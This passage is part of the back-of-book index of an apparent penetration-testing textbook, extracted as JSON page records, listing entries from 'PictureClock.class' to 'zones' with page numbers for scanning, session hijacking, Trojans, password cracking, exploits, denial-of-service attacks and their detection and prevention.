implementing, 313–314\nPictureClock.class, 194\nPing of Death attacks, 483–484\nPipeUpAdmin, 449\nplain-text passwords, 280\nplug-ins, BO2K, 380–382\nport scanning, 96–97\nACK scans, 100\ncase study, 118–122\ndumb scans, 101\nFIN scans, 100\ninadvertant DoS attacks, 22\nNMAP, 102\nNULL scans, 99–100\nSYN scans, 99\nTCP connect() port scans, 98\nXmas-Tree scans, 101\nports\nmonitoring, 424–426, 429\non Microsoft SQL Server, 265\npreparing\nfor penetration testing, 16–17\nsecurity policies, 544\npreventing\nattacks on wireless networks, 359, 362\nMITM attacks, 361\nbackdoor applications, 432–433\nbuffer overflows, 473–475\nDoS attacks, 493\nthrough application hardening, 497\nthrough network hardening, 494–496\nserver attacks, 452–455\nTrojan horse applications, 432–433\nprivilege escalation on IIS web servers, 201\nprivileged exec mode, 302\nProject Scope, 42\nprotecting\nagainst brute force attacks, 215–216\nagainst database attacks, 270–271\nagainst password-cracking attacks, 309–312\nagainst session hijacking, 167\nagainst social engineering attacks, 71\nprotocol exceptions, 481\nPS/SQL (Procedural Language/Structured \nQuery Language), 250\nPublic Role (Microsoft SQL Server), 263\npwdump, 277\npwdump3, 287–288\nQ-R\nquerying\nMicrosoft SQL Servers, 253\nOracle databases, 250\nrainbow tables, 303\nRainbowCrack, 303–304\nRAT tools, Tini, 389\nRDBMSs (Relational Database Management \nSystems), 249\nMicrosoft SQL Server, 252\nauthentication, 261–262\nguest accounts, 264\nnetwork libraries, 264–265\nports, 265\nPublic Role, 263\nquerying, 253\nsample databases, 264\nService Accounts, 263\nstructure of, 252\nMySQL, 251\nOracle, 250\nvulnerabilities, testing, 254\nbrute force attacks, 260\nconnection strings, 259\nSQL injection, 256\nsystem stored procedures, 257\nreassessment principle, 24\nreciprocation-based persuasion, 53–54\nreconnaissance attacks, 13\nactive host reconnaissance\nNSLookup/Whois lookups, 89–92\nSamSpade, 92–94\nVisual Route, 95\nfootprinting, 108\nregisters, 462\nESP registers, 462\ngeneral-purpose, 462\nspecial-purpose application, 464\nregression testing, 7\nregulatory laws, 28\nremote access to networks, case study, 342, \n345–347\nPHP (Hypertext Preprocessor)\n" }, { "page_number": 620, "text": " 593\nremote administration Trojans, Beast, 412\nclient configuration, 417–419, 423\nserver settings, 412–416\nremote port monitoring, 429\nremote shell utilities\nNetCat, 217–218\nshoveling, 395–397\nremote-access policies, 542\nremote-access Trojans, Donald Dick, 390, 393\nremote-administration trojans, detecting, 423\nrequired topics in security policies, 538\nResults Analysis, 42–43\nRevelation, 300\nrights (Novell NetWare), 450–451\nRIP Route Generator, 330\nrisk analysis, 12\nrisk assessment, performing, 536\ncompany acceptance, gaining, 538\ncost of protecting assets, calculating, 537–538\nthreats to assets, identifying, 537\nrogue APs, detecting on wireless networks, 358\nroot access, obtaining on Linux-based machines\nirix-login.c exploit, 447\nrpc.statd exploit, 446–447\nstack-smashing exploit, 446\nroot user permissions, assigning, 445\nrootkits, 395, 447\ncase study, 456–457\nfor Microsoft Windows, 450\nrouters, 324\nCDP\ndisabling, 338\ntesting for vulnerabilities, 324–326\nHTTP service\ndisabling, 338\ntesting for vulnerabilities, 326\npasswords\nsecuring, 338–340\ntesting for vulnerabilities, 328\nrouting protocols, testing for vulnerabilities, \n329–332\nsecuring, 338\nrouting protocols, testing for vulnerabilities, \n329–332\nrpc.statd exploit, 446–447\nRSE (reverse social engineering), 70\nRussinvoch, Mark, 429\nS\nSAINT (Security Administrators Integrated \nNetwork Tool), 441\nsalts, 282\nSAM file, 276\nsample databases on Microsoft SQL Server, 264\nsample Executive Summary, 41\nsample penetration test report, 524–529\nSamSpade, 92–94\nSanfilippo, Salvatore, 101\nSapphire worm, 376–377\nSARA (Security Auditor’s Research Assistant), \n442–443\nSarbanes-Oxley Act, 30\nSasser worm, 9, 377\nscan detecting, 109\nexamples, 112\nFIN scans, 115\nNULL scans, 115\nOS guessing scans, 117–118\nSYN scans, 114\nTCP Connect() scans, 113\nXmas tree scans, 115\nscanners, 430–431\nscanning stage of attacks, 14\nscope of testing, defining, 6, 36\nscripting languages\nASP, 188–190\nJavaScript, 185–186\nJScript, 186\nPerl, 187–188\nPHP, 192\nVBScript, 186–187\nscript-kiddies, 11\nsecuring\nfirewalls, 337\nnetwork architecture, 237\noperating system, 232–234\nrouters, 338–340\nweb server applications\nApache, 236\nIIS, 234–236\nwebsite design, 236\nsecurity policies, 7\nauthorship, 540\nbackup policies, 543\ncost of protecting assets, calculating, 537–538\nsecurity policies\n" }, { "page_number": 621, "text": "594\ncreating, 544\ndisaster recovery policies, 543\ne-mail policies, 541\ngaining company acceptance, 538\nInternet policies, 541\npassword policies, 542\nphysical access policies, 543\nremote access policies, 542\nrequired topics, 538\nthreats to assets, identifying, 537\ntrust model, 540\ntypes of, 541\nselecting penetration testing vendor, 14–16\nsemi-directional antennas, 350\nserver attacks\ndetecting, 452\npreventing, 452–455\nserver penetration, tools for performing, 562–565\nserver-based Java, 194–195\nservers, honeypots, 17\nservice accounts, on Microsoft SQL Server, 263\nsession hijacking, 36, 127\nACK storms, 137–138\nblind spoofing, 129\ncase study, 168–169, 172–173\ndetecting, 143–145\nwith packet sniffers, 145\ndetecting with Cisco IDS, 153–156, 162–164\nKevin Mitnick’s attack on Tsutomu \nShimomura’s computer, 139–140, 143\nmonitoring with Ethereal, 147, 151–153\nnonblind spoofing, 128\nprotecting against, 167\nTCP sequence prediction, 130–131\nutilities, 553\nHunt, 134–135\nJuggernaut, 131–133\nT-Sight, 136\nwatching, 164–165\nTTY-Watcher, 136\nsession replays versus session hijacking, 128\nShimomura, Tsutomu, 139\nshoveling remote shells, 395–397\nshowcode.asp, 200–201\nsignature-based IDSs, evading, 323\ndetecting DoS attacks, 490–492\nsignatures, detecting session hijacking, 155–156, \n160, 164\nsimilarity-based persuasion, 54\nSimon, William, 71\nsimplex connection hijacking, 132\nsingle-server e-commerce architecture, 198\nSite Security Handbook, 535\nSlammer worm, 376–377\nSMBdie, 498\nSmith, David, 27\nSmurf amplifiers, 485\nSmurf attacks, 484–485\nSnadboy Revelation, 300\nsocial engineering, 6, 36, 308\nbehavioral profiling, 55\ncase study, 72–75\ndefending against, 71\ne-mail impersonation, 64–68\nemployees, impersonating,60\ntech support, 61–62\nend-users, impersonating, 69\nhuman-based, 50\ncustomers, impersonating, 69–70\npersuasion, types of\nauthority-based persuasion, 53\nconformity persuasion, 50\ninformation-based persuasion, 54–55\nlogic persuasion, 51–52\nneed-based persuasion, 52\nreciprocation-based persuasion, 53–54\nsimilarity-based persuasion, 54\nRSE, 70\ntechnology-based, 49\nthird parties, impersonating, 62–64\ntraits necessary for\nconfidence, 57–58\npatience, 56–57\npossessing inside knowledge, 59\ntrust, 58\nuser group meetings, 88\nweb page spoofing, 203–205\nwetware, 50\nwitness consultants as coaches, 58\nsockets, 196\nsoftware, open source\ncharacteristics of, 11\nSOX (Sarbanes-Oxley) Act, 30\nspacefiller viruses, 369\nSPAN (Switched Port Analyzer), 129\nspecial-purpose application registers, 464\nSpendor Datapool, 486\nspoofed e-mail messages, 64\nsecurity policies\n" }, { "page_number": 622, "text": " 595\nSQL (Structured Query Language), 247\nbrute force server attacks, case study, 272, \n275–277\ncommands, 249\nmaster database, 252\nservers\nbrute force attacks, detecting, 268\nsystem stored procedures, 269\nSQL injection, 236, 270\ntesting vulnerability to, 256\nSQL Slammer worm, 265, 376–377\nSQLPing2, 256\nSSIDs (service set identifiers), 351\nSSL infinite loops, 199\nstack fingerprinting, 106\nstack smashing exploit, 446\nstacks, 461\nnon-executable, preventing buffer \noverflows, 475\nstages of attacks\nerasing evidence, 14\nmaintaining access, 14\nobtaining access, 14\nreconnaissance, 13\nscanning, 14\nstandards for wireless networks, enforcing, 362\nstored procedures, 257, 269\nextended, 272\nSTP (Spanning Tree Protocol)\nhardening switches against attacks, 341\ntesting switches for vulnerabilities, 334\nstructure\nof Microsoft SQL Servers, 252\nof MySQL databases, 251\nof Oracle databases, 250\nStumbVerter, 354\nSubSeven, 398, 401–403, 406, 409–410\nsuperusers, assigning permissions to, 445\nsusceptibility of databases to attack, 249\nswitches, 111–112\nARP attacks, hardening against, 341\nMAC table flooding attacks, hardening \nagainst, 341\nNMAP, 103–105\nSTP attacks, hardening against, 341\ntesting for vulnerabilities, 333\nvia ARP attacks, 335\nvia MAC table flooding, 335\nvia STP, 334\nvia VLAN hopping, 333–334\nvia VTP attacks, 336–337\nVLAN hopping, 341\nVTP attacks, hardening against, 342\nsymptoms of session hijacking, 143–145\nSYN floods, 481, 486\nSYN scans, 99\nsystem log files, detecting password-cracking \nattacks, 306\nsystem stored procedures, 257–258\nsystem tablespace, 250\nsysxlogins, 261–262\nT\ntablespaces, 250\nTCP\nembryonic connections, 140\nsequence prediction, 130–131\nsession hijacking, 36\nTCP Connect() scans, 98\nTCPView, 429\ntech support personnel, impersonating, 61–62\ntechnology-based social engineering, 49\ntelecommuters, remote access policy, 542\nTeleport Pro, 81\nTelnet sessions, hijacking example, 135\ntemporal response analysis, 107\nTen Commandments of Computer Ethics, 22–23\ntesting\nRDBMS for vulnerabilities, 254\nbrute force attacks, 260\nconnection strings, 259\nSQL injection, 256\nsystem stored procedures, 257\nrouters for vulnerabilities, 324\nCDP, 324–326\nHTTP service, 326\npasswords, 328\nrouting protocols, 329–332\nswitches for vulnerabilities, 333\nvia ARP attacks, 335\nvia MAC table flooding, 335\nvia STP, 334\nvia VLAN hopping, 333–334\nvia VTP attacks, 336–337\ntesting reports\nAppendixes, 44\ntesting reports\n" }, { "page_number": 623, "text": "596\nExecutive Summary section, 41, 44\nProject Scope section, 42\nResults Analysis section, 42–43\ntests\nblack-box tests, 6\ncrystal-box, 6\ngray-box, 6\nwhite-box tests, 6\nthird-party impersonation, 62–64\nthreats, 7\navailability threats, 7\nconfidentiality threats, 7\nintegrity threats, 7\ntiered e-commerce architecture, 198\ntiger teams, 5\ntime bomb viruses, 369\nTini, 389\nTitanic syndrome, 8\nTMRC (Tech Model Railroad Club), 5\nTOE (target-of-evaluation), 6\ntools\nbackdoor applications, 560–562\nfor attempting buffer overflows, 566\nfor attempting DoS attacks, 566–569\nDatapool, 486\nHgod, 489\nJolt2, 488\nfor performing database attacks, 556\nfor performing network attacks, 557\nfor performing server penetration, 562–565\nfor performing web server attacks, 554–555\nfor wireless network penetration, 559\nhacking tools, availability of, 10\nhost reconnaissance, 547, 550–553\npassword cracking, 556\nsession hijacking, 553\nvulnerability scanners\nISS, 444\nNessus, 440\nNetRecon, 445\nSAINT, 441\nSARA, 442–443\ntraits of social engineers\nconfidence, 57–58\npatience, 56–57\npossessing inside knowledge, 59\ntrust, 58\nTrojan applications, 37, 67, 367, 560–562\nBeast, 412\nclient configuration, 417–419, 423\ngaining access with, case study, 433–436\nserver settings, 412–416\nBO2K, 378–388\nplug-ins, 380–382\nBrown Orifice, 411–412\ndetecting, 423\nDonald Dick, 390, 393\nscanner software, 430–431\nSubSeven, 398–403, 406, 409–410\ntrust as social engineer trait, 58\ntrust model, 540\nT-Sight, 136\nT-SQL (Transact-SQL), 253\nTTY Watcher, 136\ntunneling\nICMP tunneling, 323\nLoki ICMP tunneling, 322\ntwo-factor security, 279\nType-1 wireless, 353\nU\nunallocated MAC addresses, detecting on \nwireless networks, 359\nunethical practices, free penetration testing, 32\nUNIX\nelevation techniques, 446\nirix-login.c, 447\nrpc.statd exploit, 446–447\nstack smashing exploit, 446\npassword-cracking utilities, Nutcracker, \n298–299\npassword hashing, 284\npermissions, 445\nassigning to root user, 445\nrootkits, 447\nsalts, 282\nUrlScan, 235–236\nUSA PATRIOT act, 30\nUSENET newsgroups, 87\nuser accounts, locking out, 311\nuser exec mode, 302\nuser group meetings, 88\nutilities\ntesting reports\n" }, { "page_number": 624, "text": " 597\nbackdoor applications, 560, 562\nCleanIISLog, 222\nexeciis-win32.exe, 221\nfor attempting buffer overflows, 566\nfor attempting DoS attacks, 566–569\nfor attempting network attacks, 557\nfor server penetration, 562–565\nfor wireless network penetration, 559\nfport, 428\nhost reconnaissance, 547, 550–553\nIIS Xploit, 221\nIntelliTamper, 222\nNetCat, 217–218\nNetstat, 426–427\npacket sniffers, 281\npassword-cracking\nBoson GetPass, 302–303\nHypnopædia, 299\nJohn the Ripper, 285–287\nL0phtcrack, 289–290, 294, 298\nNutcracker, 298–299\nPwdump3, 287–288\nRainbowCrack, 303–304\nSnadboy Revelation, 300\nsession hijacking, 553\nTCPView, 429\nvulnerability scanners, 218\ncommercial, 219\nopen-source, 219\nXprobe2, 107\nV\nVBScript, 186–187\nvendors of penetration testing, selecting, 14–16\nviews (MySQL), INFORMATION_SCHEMA, \n251\nviruses, 9, 368. See also worms\nBugBear, 372–373\nChernobyl, 369\nconstruction kits, 369\nMelissa, 371\nSasser virus, 9\nscanner software, 430–431\nVisual Route, 95\nVLAN hopping\nhardening switches against, 341\ntesting switches for vulnerabilities, 333–334\nVTP attacks\nhardening switches against, 342\ntesting switches for vulnerabilities, 336–337\nvulnerabilities, 7\nof Apache HTTP Web Servers, 199\nof databases to attack, 249\nof IIS web servers, 199–200\nbuffer overflows, 202–203\nprivilege escalation, 201\nshowcode.asp, 200–201\nof RDBMSs, testing, 254–260\nvulnerability scanners, 218, 439\ncommercial, 219\nISS, 444\nNessus, 440\nNetRecon, 445\nopen-source, 219\nSAINT, 441\nSARA, 442–443\ntests performed, 440\nWhisker attacks, detecting, 228–231\nW\nW32.CIH.Spacefiller, 369\nW32.Slammer worm, 376–377\nW32/BugBear virus, 372–373\nW32/Klez worm, 373, 375\nwar dialing, 86\nwar driving, 353\nwar flying, 353\nwar pedaling, 353\nwar sailing, 353\nwar walking, 353\nweb attacks\ndetecting, 225\ndirectory traversals, detecting, 226–228\nweb languages\nASP, 188–190\nCGI, 191\nColdFusion, 193\nDHTML, 181\nfile extensions, 178\nHTML, 179\nweb languages\n" }, { "page_number": 625, "text": "598\nJava, 193\nclient-based, 194\nserver-based, 194–195\nJavaScript, 185–186\nJScript, 186\nPerl, 187–188\nPHP, 192\nVBScript, 186–187\nXHTML, 184\nXML, 183–184\nweb pages\nhidden fields, exploiting, 207–209\nspoofing, 203–205\ntools for performing, 554–555\nweb servers\nApache, 11\napplications, securing, 236\nvulnerabilities, 199\nattacks on, tools for performing, 197, 554–555\nIIS\napplications, securing, 234–236\nvulnerabilities, 199–203\nweb-based authentication attacks, 197\nwebsites, 196–197\nconfiguring NAT, 347\ndownloading for offline viewing, 79\nGoogle.com as hacking tool, 224\nOECD, 24\norphan pages, 79\nsecuring, 236\nsockets, 196\nWEP (Wired Equivalency Protocol), 9, 352\nWEPCrack, 357\nwetware, 50\nWget, 79\nWhisker attacks, detecting, 228–231\nwhite-box tests, 6\nwhite-hat hackers, 5\nWhois lookups, 89–92\nWindows\nelevation techniques, 449\nHK exploit, 449\nPipeUpAdmin, 449\nhashing, 282\npassword-cracking utilities, Hypnopædia, 299\nprivilege escalation, example of, 471\nrootkits, 450\nwireless networks\n802.1x port security, 352\naccess points, 350\nattacks\ndetecting, 357\npreventing, 359–362\nDoS attacks, detecting, 358\nDSSS, 350\nhistory of, 349–350\nIPSec, 353\nMAC address spoofing, detecting, 358\nMAC filtering, 352\npenetration testing tools, 559\nAiroPeek NX, 357\nAirSnort, 357\nDStumbler, 355\nGPSMAP, 356\nKismet, 355\nNetStumbler, 354\nStumbVerter, 354\nWEPCrack, 357\nrogue APs, detecting, 358\nsecurity, 351\ncase study, 363–365\nSSIDs, 351\nstandards, enforcing, 362\nType-1, 353\nunallocated MAC addresses, detecting, 359\nwar driving, 353\nWEP, 352\nwitness consultants as social engineering \ncoaches, 58\nWLANs (wireless LANs), 9\nworms, 9, 368\n“I Love You,” 370\nBlaster, 375–376\nMyDoom, 373\nSasser, 377\nW32/Klex, 373–375\nX-Y-Z\nXHTML, 184\nXmas-Tree scans, 101\nXML, 183–184\nXprobe2, 107\nzero-day exploits, 8\nzones, 90\nweb languages\n" } ] }